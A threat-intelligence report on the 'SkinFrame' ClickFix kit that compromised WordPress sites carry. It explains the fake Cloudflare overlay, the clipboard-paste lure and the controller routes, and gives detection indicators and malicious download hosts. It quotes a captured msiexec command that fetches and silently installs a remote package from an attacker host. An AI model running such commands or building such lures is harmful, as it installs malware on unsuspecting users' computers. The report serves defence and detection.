SkinFrame ClickFix kit
SkinFrame is a ClickFix kit that hides the page and frames a fake check over it, picking a design for each visitor's platform. We have matched it on 1,190 sites since 7 September.
SkinFrame in numbers
Since 7 September, the first SkinFrame match in our records, counted on 12 November 2026. How we count.
| Sites with SkinFrame code | 1,190 |
|---|---|
| Sites with a match in the last 30 days | 896 |
| New sites in October | 717 |
| New sites in November so far | 232 |
| Sites running WordPress (captured since 25 September) | 98% |
Hide the page, then cover it
SkinFrame starts by hiding the site. The injected block adds a style called cf-captcha-hide-style and a cf-captcha-pending class, then loads the kit's embed.js from a short list of controller hosts, such as js-static[.]cfd, with Base64 and plain-text copies of the list as fallbacks. The block is built to survive optimisation: when LiteSpeed minifies and defers scripts, it moves itself into a Base64 data: URI and still runs. One build labels itself "v24".
One overlay, four skins
embed.js arrives with a configuration the server writes for each visit, and that configuration picks a design: a fake Cloudflare check, a reCAPTCHA, a QR code or an Android page. In practice only Windows is switched on.
The lure sits in a full-screen frame, #cf-captcha-overlay, over the hidden page. It is a Cloudflare checkbox. After the click it tells the visitor to press Win+R, then Ctrl+V, then Enter, in the visitor's language. The page, its core script and embed.js are all obfuscated, and the core script is large.
Where the command comes from
The command comes from the controller. The core script asks the controller's /api/s/boot route for it, though not on every visit: one capture loaded the core script and never asked, while a later one received the command 3.8 seconds into the visit, before any click. The script passes it up to the site's page as a cf_clipboard message, and embed.js copies it to the clipboard. Every step reports back: routes such as /api/s/steps and /api/s/ok, and events named verify_click, verify_enter and mshta_detected.
The recovered commands use different Windows tools. One reply was a plain mshta call to a remote address. Another was an msiexec /package call with mixed-case letters, pointing at a host spelled to look like a Cloudflare domain, with an MSI property holding fake text that tells the visitor to press Enter to verify. Commands captured on 10 November 2026 fetch the package from www.restapi-web-cf[.]cfd through a mixed http:/\ prefix, which Windows accepts as a URL:
msiexec /package http:/\www.restapi-web-cf[.]cfd\[id] /Q
What we see
| Month | New sites |
|---|---|
| September | 241 |
| October | 717 |
| November so far | 232 |
98% of the sites captured since 25 September run WordPress, and 55% of those run WordPress 7.1.
Researchers and abuse reports file this activity under ClearFake and IClickFix.
Checking a site
View the page source, or the rendered page in developer tools, and look for:
- a style or class named
cf-captcha-hide-styleorcf-captcha-pending - a script loading
embed.jsfrom a host you do not recognise - an element with the id
cf-captcha-overlay - a
data:URI script that decodes to the same block
A site that loads blank for a moment before a Cloudflare check appears is worth a closer look.
Hosts its commands download from
SkinFrame lure commands we captured download from 33 hosts. These are the 10 on the most sites.
| Host | Sites | Last seen | Latest command |
|---|---|---|---|
coeuau[.]com | 51 | Decoded URLURL First seen 6 October 2026, 51 URLs on this host. | |
cf-www[.]com | 35 | CommandURL First seen 30 September 2026, 37 URLs on this host. | |
www[.]cf-web-restapi[.]cfd | 32 | CommandURL First seen 9 November 2026, 32 URLs on this host. | |
cf-restapi[.]com | 29 | Decoded URLURL First seen 12 October 2026, 31 URLs on this host. | |
api-cf[.]com | 22 | CommandURL First seen 14 October 2026, 22 URLs on this host. | |
api-v1[.]cfd | 21 | CommandURL First seen 20 October 2026, 20 URLs on this host. | |
cf-com[.]sbs | 20 | CommandURL First seen 26 October 2026, 20 URLs on this host. | |
api-com[.]cfd | 19 | CommandURL First seen 27 October 2026, 19 URLs on this host. | |
www[.]restapi-web-cf[.]cfd | 14 | CommandURL First seen 10 November 2026, 14 URLs on this host. | |
ld-com[.]cfd | 13 | CommandURL First seen 25 October 2026, 13 URLs on this host. |
The ClickFix command tracker lists every host.